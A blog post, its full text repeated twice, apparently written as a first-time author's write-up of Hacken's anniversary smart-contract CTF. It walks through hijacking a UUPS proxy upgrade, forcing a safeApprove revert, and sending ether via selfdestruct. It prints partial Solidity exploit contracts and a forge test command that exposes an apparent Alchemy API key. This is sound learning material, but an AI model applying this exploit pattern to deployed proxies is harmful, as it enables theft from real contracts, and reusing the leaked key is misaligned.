Web3 Security Researcher
Web3 Security Researcher

Subscribe to 👟Than⚒️71

Subscribe to 👟Than⚒️71
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers


In this blog, we are going to discuss about the Hacken's 7th Anniversary CTF challenge, which is for the role of junior smart contract auditor role. There is a bounty also available on this challenge for the first person to solve, and remaining people who solved the challenge get the chance for interview to smart contract auditor role as mentioned above.
So, fingers crossed and dive into the challenge, I am so excited to discuss about this challenge. Why because this is the challenge where I have seen the mood swings of myself on smart contract auditing. How I solved and what difficulties I have faced while solving the challenge are discussed in this article/ blog.
Before diving into the topic, I request you guys to bear if there are any grammatical mistakes or if I didn't explain properly as this is my first time writing the blog. And also I want you guys to give it a try before reading the solution of the challenge for better understanding of the blog. The link to the CTF challenge down below.
https://github.com/hknio/anniversary-ctf
The goal of the challenge is pretty simple, that is to claim the trophyNFT, which represents the 7th anniversary CTF prize (i.e., the role of junior smart contract auditor), by finding a way to exploit claimTrophy function in the AnniversaryChallenge.sol contract. Before how we approach the solution, let's see the claimTrophy function in the challenge contract and issues I addressed before writing the test contract for the challenge.
function claimTrophy(address receiver, uint256 amount) public {
require(msg.sender.code.length == 0, "No contractcs.");
require(address(this).balance == 0, "No treasury.");
require(
simpleStrategy.usdcAddress() ==
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
"Only real USDC."
);
try
AnniversaryChallenge(address(this)).externalSafeApprove(amount)
returns (bool) {
simpleStrategy.deployFunds(amount);
} catch {
trophyNFT.safeTransferFrom(address(this), receiver, 1);
require(address(this).balance > 0 wei, "Nothing is for free.");
}
}
To claim trophyNFT, we need to revert the externalSafeApprove function, which externally safeApprove the vault and deposit the funds into the vault via a different contract called SimpleStrategy.sol. Let's say somehow we have cracked the code and reverted the externallySafeApprove function, which then catches and runs the code in the catch block.
But another problem arises after receiving the trophyNFT, the challenge contract should receive some ether, whatever the amount doesn't matter. So, Infront of our eyes there are 2 barriers to solve the challenge.
To revert the externallySafeApprove function
Upon receiving the trophyNFT the player should find a way to send some ether to challenge contract.
We have discussed overview of the externallySafeApprove function, let's demystify the function line by line to see how we can exploit to achieve our goal.
function externalSafeApprove(uint256 amount) external returns (bool) {
assert(msg.sender == address(this));
IERC20(simpleStrategy.usdcAddress()).safeApprove(
address(simpleStrategy), amount
);
return true;
}
assert(msg.sender == address(this)), this line of code is not in out hands, as it strictly saying the one who gonna call this function is challenge contract.
safeApprove, this is the only line we left with to do any misleading to exploit the function. Let's see the safeApprove function in safe ERC20 library, to see how we can use to our own benefit.
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
As you can see we can make it revert if we put both value to zero and the allowance of the challenge contract (AnniversaryChallenge.sol) and vault contract (SimpleStrategy.sol) to non-zero.
We can easily put the value to zero, as it is in our hands. So, only bothersome thing here is the allowance. So, After executing externallySafeApprove function, if it returns true then the allowance which updated in the safeApprove function is utilized in the deployFunds function of the vault contract and then again the allowance reset to zero as the approve tokens are transferred to the vault contract and then deposited into the vault.
function deployFunds(uint256 amount) external returns (uint256 shares) {
require(amount > 0, "Zero amount not allowed.");
balances[msg.sender] += amount;
IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);
IERC20(usdcAddress).safeApprove(vault, amount);
shares = IERC4626(vault).deposit(amount, address(this));
}
Upon the layer of code there is no issues with the challenge itself. At some point, I literally thought that there are no bugs in the contract itself, but then I realized that Hacken is not a small organization to made this amateur mistakes. After re-analyzing the code for 2 days, I got an idea that what if we manipulate the deployFunds to our advantage in such a way where it not updates the allowance of challenge contract and vault contract.
Upon closer look of the vault contract, I found the suspicious function where anyone can access, but apart from that there is no code and it was internal function also.
function _authorizeUpgrade(address newImplementation) internal override {
require(owner != msg.sender, "Not an owner.");
}
I left it as a thought of some useless code the challenger intentionally wrote to mislead us. But that is the most dumbest thing I have done while solving this challenge. Then after struggling for 2 days I didn't get anything from this challenge. By this time I gave up on this challenge and thought that I am not up to the mark of finding bugs in this contract, so I have started learning about other stuff like Merkle tress.
Next day my brother message me to ask about the progress of the challenge, then upon realizing my struggles he suggests that to read code line by line and then I found the _authorizeUpgrade in vault contract and then upon closer look I also found a external function called upgradeTo in the UUPS contract, which is being inherited to the vault contract.
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
Then I realized where I lack, that is the understanding of the vault contract, not knowing anything about UUPS contract. Then after finding this, my point of view of seeing the picture completely changed. So, before manipulating the challenge to claim the trophyNFT, I have raised few questions in my mind,
What exactly is proxy contract and why do we need it.
What is UUPS contract and why does it needed in this challenge.
What will happen upon calling upgradeTo contract.
Let's see one by one to connect all the dots which dump over the space.
What is Proxy Contract ?
It is a design pattern in Ethereum smart contract development that allows for the separation of contract logic from the contract's data storage. This approach facilitates upgrades to the logic of smart contract without changing the contract's address, which is critical for maintaining with other contracts or interfaces with the interact with it.
What is UUPS Contract ?
Universal Upgradable Proxy Standard (UUPS) is a design pattern in Ethereum smart contract development for creating upgradeable proxy contracts. The reason why the challenge contract used and many other protocols used it because the upgrade logic is maintained within the implementation contract itself (I.e., vault contract in the challenge), rather than the proxy contract.
What will happen upon calling upgradeTo contract ?
If a protocol launches new version upon rectifying previous mistakes and implementing new features for the customers, then they should redeploy the new version and update the info regarding the change of new smart contract, which is very hard task for large protocol, which deals with millions of dollars as their capital. So, these proxy contracts and upgradable contract, updates the pointer of the smart contract implementation to the newer version by keeping user interacting as same as before. Upon doing this it upscale the utility of the smart contracts and beneficiaries of the protocol. upgradeTo function exactly do what we discussed, which updates the pointer to the new upgraded contract. Now we understand the use of upgradeTo function, so what we need to do is that change the pointer of upgradable contract from vault contract to the attacker contract.
Note that attacker contract must have
deployFundsfunction and public getter function forusdcaddress
import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";
import {SimpleStrategy} from "./SimpleStrategy.sol";
contract Exploit is UUPSUpgradeable {
AnniversaryChallenge public challenge;
SimpleStrategy public strategy;
address public immutable player;
address public immutable usdcAddress;
constructor(address _challenge, address _strategy) payable {
challenge = AnniversaryChallenge(_challenge);
strategy = SimpleStrategy(_strategy);
player = msg.sender;
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
}
function deployFunds(
uint256 amount
) external payable returns (uint256 shares) {}
function _authorizeUpgrade(address newImplementation) internal override {}
function attack() external {
// change the proxy pointer to this contract
strategy.upgradeTo(address(this));
}
receive() external payable {}
}
In attack function we call the upgradeTo externally to change the pointer to the attacker contract (I.e., Exploit.sol::Exploit). Now after executing the function, we call the calimTrophy function twice in challenge contract, because upon executing the 1st time, the allowance of challenge contract and modified vault contract (attacker contract) sets to non-zero, I.e., amount entered as input for claimTrophy function.
So in the 2nd call, we will set the input for claimTrophy function to some non-zero value. As the allowance of challenge contract to modified vault contract is non-zero and amount entered is also non-zero, the safeApprove function reverts and catches the error, which results in executing the code in the catch block.
In 2nd attempt, while executing the code in catch block the transaction get reverted, as player is an EOA account, we cannot send any funds to challenge contract and it reverts the transaction by throwing error "Nothing is Free". So in the 2nd attempt we must call the claimTrophy function by the contract such that we can somehow manipulate the code in onERC721Received hook.
As discussed the one who need to call the 2nd time should be a contract and we can call it using attacker contract itself by implementing the onERC721Recevied function hook inside the attacker contract.
import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";
import {SimpleStrategy} from "./SimpleStrategy.sol";
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract Exploit is UUPSUpgradeable, IERC721Receiver {
AnniversaryChallenge public challenge;
SimpleStrategy public strategy;
address public immutable player;
address public immutable usdcAddress;
constructor(address _challenge, address _strategy) payable {
challenge = AnniversaryChallenge(_challenge);
strategy = SimpleStrategy(_strategy);
player = msg.sender;
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
}
function deployFunds(
uint256 amount
) external payable returns (uint256 shares) {}
function _authorizeUpgrade(address newImplementation) internal override {}
function attack() external {
// change the proxy pointer to this contract
strategy.upgradeTo(address(this));
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
// send the funds to challenge contract
// send the received NFT to the player address
IERC721(nft).transferFrom(address(this), player, 1);
return this.onERC721Received.selector;
}
receive() external payable {}
}
In the onERC721Received function, we sent back the NFT received to the player and also we need to send some funds to the challenge contract so that there would no issues while executing the transaction.
While deploying the attacker contract, we deposit some amount of ether/ wei to the contract so that afterwards it can utilize those deposited funds to send to challenger contract. The main problem here is that challenger contract doesn't have any payable function, which means we cannot send any ether via send, transfer or call. There is only one way to send the funds to the non-payable function absence contract is via self-destruct.
Note that when we self-destruct the contract we cannot return anything from the function, because as we self destructed there will be no code further to return and sends the total amount of ether hold by the destructed contract send to the one mentioned in the parenthesis of
selfdestructcall.
To resolve the issue mentioned above we'll use some extra contract where we will send the received ether from the player to the extra contract where we call selfdestruct to challenge contract.
contract Extra {
function destroy(address _addr) external {
selfdestruct(payable(_addr));
}
fallback() external payable {}
}
We inherit this extra contract in the attacker contract so that upon calling the function destroy we will send the amount of ether to the challenger contract to pass the last require statement in the claimTrophy function. So, the final attacker contract looks like as follows:

Now all the vulnerable bugs we found and wrote a exploit contract for the challenge. The below contract is the test file where the code executes in a single transaction using ethernet fork with block number 20486120.

Now let’s run the code in the git bash and see the results. Depending on the challenge solver he/she can optimize the codebase to their own benefit, but the idea behind the solution remains same. In this blog also we have discussed the idea progression on how to crack the code to claim the trophy rather than the explanation of the code.
$ forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/EP-X88pW9orEsMdMsJaC7yn_IdqYZZXm --fork-block-number 20481620 -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/AnniversaryChallengeTest.t.sol:AnniversaryChallengeTest
[PASS] test_claimTrophy() (gas: 1096446)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.58ms (1.09ms CPU time)
Ran 1 test suite in 1.64s (4.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
There are few bugs in both the vault contract (SimpleStrategy.sol) and the challenge contract (AnniversaryChallenge.sol):
Using safeApprove in the externalSafeApprove function in challenge contract, which lead to high severity bug to manipulate because restriction on token allowance. Use safeApprove initially and then use safeIncreaseAllowance or safeDeccreaseAllowance instead to increase or decrease the allowance.
Remove the owner != msg.sender in the require statement of _authorizeUpgrade function, which leads to change the pointer of the contract to anyone, which is severe enough to manipulate the code.
Change the position of code in catch block of claimTrophy function such that the amount should be paid before safeTransferFrom call, which is impossible if we mitigate the above mentioned bugs.
The aim of the challenge is to claim the trophyNFT from the challenge contract. So, we cannot consider these things as bugs rather a way to find the puzzle to claim the trophyNFT.
This is a special for me because it is my first CTF challenge with time limit unlike Damn Vulnerable Defi, Ethernaut, etc., It is quite a frustrating week with lot of hurdles to face while solving the challenge. But only thing that push me forward was the motivation given by my brother and the enthusiasm and love towards the blockchain.
I learnt very important thing is that not to overlook a small detail, which leads to very very big impact like the one I found in the challenge and neglected, Because in blockchain realm there is no sorry for written mistake in the code if it was there means it is the developer problem and it may lead to high severity bug or not.
Upon solving this challenge I also learnt few concepts like Proxy contracts, UUPS standard, self-destruct features, and much more.
So I hope you guys also not make same mistake as I does. Keep up with the work, at some point definitely you will get a strike of idea to solve upon closer investigation and connecting the dots of the challenge. And it is not limited to the challenge but also the audit of any protocol.
In this blog, we are going to discuss about the Hacken's 7th Anniversary CTF challenge, which is for the role of junior smart contract auditor role. There is a bounty also available on this challenge for the first person to solve, and remaining people who solved the challenge get the chance for interview to smart contract auditor role as mentioned above.
So, fingers crossed and dive into the challenge, I am so excited to discuss about this challenge. Why because this is the challenge where I have seen the mood swings of myself on smart contract auditing. How I solved and what difficulties I have faced while solving the challenge are discussed in this article/ blog.
Before diving into the topic, I request you guys to bear if there are any grammatical mistakes or if I didn't explain properly as this is my first time writing the blog. And also I want you guys to give it a try before reading the solution of the challenge for better understanding of the blog. The link to the CTF challenge down below.
https://github.com/hknio/anniversary-ctf
The goal of the challenge is pretty simple, that is to claim the trophyNFT, which represents the 7th anniversary CTF prize (i.e., the role of junior smart contract auditor), by finding a way to exploit claimTrophy function in the AnniversaryChallenge.sol contract. Before how we approach the solution, let's see the claimTrophy function in the challenge contract and issues I addressed before writing the test contract for the challenge.
function claimTrophy(address receiver, uint256 amount) public {
require(msg.sender.code.length == 0, "No contractcs.");
require(address(this).balance == 0, "No treasury.");
require(
simpleStrategy.usdcAddress() ==
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
"Only real USDC."
);
try
AnniversaryChallenge(address(this)).externalSafeApprove(amount)
returns (bool) {
simpleStrategy.deployFunds(amount);
} catch {
trophyNFT.safeTransferFrom(address(this), receiver, 1);
require(address(this).balance > 0 wei, "Nothing is for free.");
}
}
To claim trophyNFT, we need to revert the externalSafeApprove function, which externally safeApprove the vault and deposit the funds into the vault via a different contract called SimpleStrategy.sol. Let's say somehow we have cracked the code and reverted the externallySafeApprove function, which then catches and runs the code in the catch block.
But another problem arises after receiving the trophyNFT, the challenge contract should receive some ether, whatever the amount doesn't matter. So, Infront of our eyes there are 2 barriers to solve the challenge.
To revert the externallySafeApprove function
Upon receiving the trophyNFT the player should find a way to send some ether to challenge contract.
We have discussed overview of the externallySafeApprove function, let's demystify the function line by line to see how we can exploit to achieve our goal.
function externalSafeApprove(uint256 amount) external returns (bool) {
assert(msg.sender == address(this));
IERC20(simpleStrategy.usdcAddress()).safeApprove(
address(simpleStrategy), amount
);
return true;
}
assert(msg.sender == address(this)), this line of code is not in out hands, as it strictly saying the one who gonna call this function is challenge contract.
safeApprove, this is the only line we left with to do any misleading to exploit the function. Let's see the safeApprove function in safe ERC20 library, to see how we can use to our own benefit.
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
As you can see we can make it revert if we put both value to zero and the allowance of the challenge contract (AnniversaryChallenge.sol) and vault contract (SimpleStrategy.sol) to non-zero.
We can easily put the value to zero, as it is in our hands. So, only bothersome thing here is the allowance. So, After executing externallySafeApprove function, if it returns true then the allowance which updated in the safeApprove function is utilized in the deployFunds function of the vault contract and then again the allowance reset to zero as the approve tokens are transferred to the vault contract and then deposited into the vault.
function deployFunds(uint256 amount) external returns (uint256 shares) {
require(amount > 0, "Zero amount not allowed.");
balances[msg.sender] += amount;
IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);
IERC20(usdcAddress).safeApprove(vault, amount);
shares = IERC4626(vault).deposit(amount, address(this));
}
Upon the layer of code there is no issues with the challenge itself. At some point, I literally thought that there are no bugs in the contract itself, but then I realized that Hacken is not a small organization to made this amateur mistakes. After re-analyzing the code for 2 days, I got an idea that what if we manipulate the deployFunds to our advantage in such a way where it not updates the allowance of challenge contract and vault contract.
Upon closer look of the vault contract, I found the suspicious function where anyone can access, but apart from that there is no code and it was internal function also.
function _authorizeUpgrade(address newImplementation) internal override {
require(owner != msg.sender, "Not an owner.");
}
I left it as a thought of some useless code the challenger intentionally wrote to mislead us. But that is the most dumbest thing I have done while solving this challenge. Then after struggling for 2 days I didn't get anything from this challenge. By this time I gave up on this challenge and thought that I am not up to the mark of finding bugs in this contract, so I have started learning about other stuff like Merkle tress.
Next day my brother message me to ask about the progress of the challenge, then upon realizing my struggles he suggests that to read code line by line and then I found the _authorizeUpgrade in vault contract and then upon closer look I also found a external function called upgradeTo in the UUPS contract, which is being inherited to the vault contract.
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
Then I realized where I lack, that is the understanding of the vault contract, not knowing anything about UUPS contract. Then after finding this, my point of view of seeing the picture completely changed. So, before manipulating the challenge to claim the trophyNFT, I have raised few questions in my mind,
What exactly is proxy contract and why do we need it.
What is UUPS contract and why does it needed in this challenge.
What will happen upon calling upgradeTo contract.
Let's see one by one to connect all the dots which dump over the space.
What is Proxy Contract ?
It is a design pattern in Ethereum smart contract development that allows for the separation of contract logic from the contract's data storage. This approach facilitates upgrades to the logic of smart contract without changing the contract's address, which is critical for maintaining with other contracts or interfaces with the interact with it.
What is UUPS Contract ?
Universal Upgradable Proxy Standard (UUPS) is a design pattern in Ethereum smart contract development for creating upgradeable proxy contracts. The reason why the challenge contract used and many other protocols used it because the upgrade logic is maintained within the implementation contract itself (I.e., vault contract in the challenge), rather than the proxy contract.
What will happen upon calling upgradeTo contract ?
If a protocol launches new version upon rectifying previous mistakes and implementing new features for the customers, then they should redeploy the new version and update the info regarding the change of new smart contract, which is very hard task for large protocol, which deals with millions of dollars as their capital. So, these proxy contracts and upgradable contract, updates the pointer of the smart contract implementation to the newer version by keeping user interacting as same as before. Upon doing this it upscale the utility of the smart contracts and beneficiaries of the protocol. upgradeTo function exactly do what we discussed, which updates the pointer to the new upgraded contract. Now we understand the use of upgradeTo function, so what we need to do is that change the pointer of upgradable contract from vault contract to the attacker contract.
Note that attacker contract must have
deployFundsfunction and public getter function forusdcaddress
import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";
import {SimpleStrategy} from "./SimpleStrategy.sol";
contract Exploit is UUPSUpgradeable {
AnniversaryChallenge public challenge;
SimpleStrategy public strategy;
address public immutable player;
address public immutable usdcAddress;
constructor(address _challenge, address _strategy) payable {
challenge = AnniversaryChallenge(_challenge);
strategy = SimpleStrategy(_strategy);
player = msg.sender;
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
}
function deployFunds(
uint256 amount
) external payable returns (uint256 shares) {}
function _authorizeUpgrade(address newImplementation) internal override {}
function attack() external {
// change the proxy pointer to this contract
strategy.upgradeTo(address(this));
}
receive() external payable {}
}
In attack function we call the upgradeTo externally to change the pointer to the attacker contract (I.e., Exploit.sol::Exploit). Now after executing the function, we call the calimTrophy function twice in challenge contract, because upon executing the 1st time, the allowance of challenge contract and modified vault contract (attacker contract) sets to non-zero, I.e., amount entered as input for claimTrophy function.
So in the 2nd call, we will set the input for claimTrophy function to some non-zero value. As the allowance of challenge contract to modified vault contract is non-zero and amount entered is also non-zero, the safeApprove function reverts and catches the error, which results in executing the code in the catch block.
In 2nd attempt, while executing the code in catch block the transaction get reverted, as player is an EOA account, we cannot send any funds to challenge contract and it reverts the transaction by throwing error "Nothing is Free". So in the 2nd attempt we must call the claimTrophy function by the contract such that we can somehow manipulate the code in onERC721Received hook.
As discussed the one who need to call the 2nd time should be a contract and we can call it using attacker contract itself by implementing the onERC721Recevied function hook inside the attacker contract.
import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";
import {SimpleStrategy} from "./SimpleStrategy.sol";
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract Exploit is UUPSUpgradeable, IERC721Receiver {
AnniversaryChallenge public challenge;
SimpleStrategy public strategy;
address public immutable player;
address public immutable usdcAddress;
constructor(address _challenge, address _strategy) payable {
challenge = AnniversaryChallenge(_challenge);
strategy = SimpleStrategy(_strategy);
player = msg.sender;
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
}
function deployFunds(
uint256 amount
) external payable returns (uint256 shares) {}
function _authorizeUpgrade(address newImplementation) internal override {}
function attack() external {
// change the proxy pointer to this contract
strategy.upgradeTo(address(this));
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
// send the funds to challenge contract
// send the received NFT to the player address
IERC721(nft).transferFrom(address(this), player, 1);
return this.onERC721Received.selector;
}
receive() external payable {}
}
In the onERC721Received function, we sent back the NFT received to the player and also we need to send some funds to the challenge contract so that there would no issues while executing the transaction.
While deploying the attacker contract, we deposit some amount of ether/ wei to the contract so that afterwards it can utilize those deposited funds to send to challenger contract. The main problem here is that challenger contract doesn't have any payable function, which means we cannot send any ether via send, transfer or call. There is only one way to send the funds to the non-payable function absence contract is via self-destruct.
Note that when we self-destruct the contract we cannot return anything from the function, because as we self destructed there will be no code further to return and sends the total amount of ether hold by the destructed contract send to the one mentioned in the parenthesis of
selfdestructcall.
To resolve the issue mentioned above we'll use some extra contract where we will send the received ether from the player to the extra contract where we call selfdestruct to challenge contract.
contract Extra {
function destroy(address _addr) external {
selfdestruct(payable(_addr));
}
fallback() external payable {}
}
We inherit this extra contract in the attacker contract so that upon calling the function destroy we will send the amount of ether to the challenger contract to pass the last require statement in the claimTrophy function. So, the final attacker contract looks like as follows:

Now all the vulnerable bugs we found and wrote a exploit contract for the challenge. The below contract is the test file where the code executes in a single transaction using ethernet fork with block number 20486120.

Now let’s run the code in the git bash and see the results. Depending on the challenge solver he/she can optimize the codebase to their own benefit, but the idea behind the solution remains same. In this blog also we have discussed the idea progression on how to crack the code to claim the trophy rather than the explanation of the code.
$ forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/EP-X88pW9orEsMdMsJaC7yn_IdqYZZXm --fork-block-number 20481620 -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/AnniversaryChallengeTest.t.sol:AnniversaryChallengeTest
[PASS] test_claimTrophy() (gas: 1096446)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.58ms (1.09ms CPU time)
Ran 1 test suite in 1.64s (4.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
There are few bugs in both the vault contract (SimpleStrategy.sol) and the challenge contract (AnniversaryChallenge.sol):
Using safeApprove in the externalSafeApprove function in challenge contract, which lead to high severity bug to manipulate because restriction on token allowance. Use safeApprove initially and then use safeIncreaseAllowance or safeDeccreaseAllowance instead to increase or decrease the allowance.
Remove the owner != msg.sender in the require statement of _authorizeUpgrade function, which leads to change the pointer of the contract to anyone, which is severe enough to manipulate the code.
Change the position of code in catch block of claimTrophy function such that the amount should be paid before safeTransferFrom call, which is impossible if we mitigate the above mentioned bugs.
The aim of the challenge is to claim the trophyNFT from the challenge contract. So, we cannot consider these things as bugs rather a way to find the puzzle to claim the trophyNFT.
This is a special for me because it is my first CTF challenge with time limit unlike Damn Vulnerable Defi, Ethernaut, etc., It is quite a frustrating week with lot of hurdles to face while solving the challenge. But only thing that push me forward was the motivation given by my brother and the enthusiasm and love towards the blockchain.
I learnt very important thing is that not to overlook a small detail, which leads to very very big impact like the one I found in the challenge and neglected, Because in blockchain realm there is no sorry for written mistake in the code if it was there means it is the developer problem and it may lead to high severity bug or not.
Upon solving this challenge I also learnt few concepts like Proxy contracts, UUPS standard, self-destruct features, and much more.
So I hope you guys also not make same mistake as I does. Keep up with the work, at some point definitely you will get a strike of idea to solve upon closer investigation and connecting the dots of the challenge. And it is not limited to the challenge but also the audit of any protocol.
No activity yet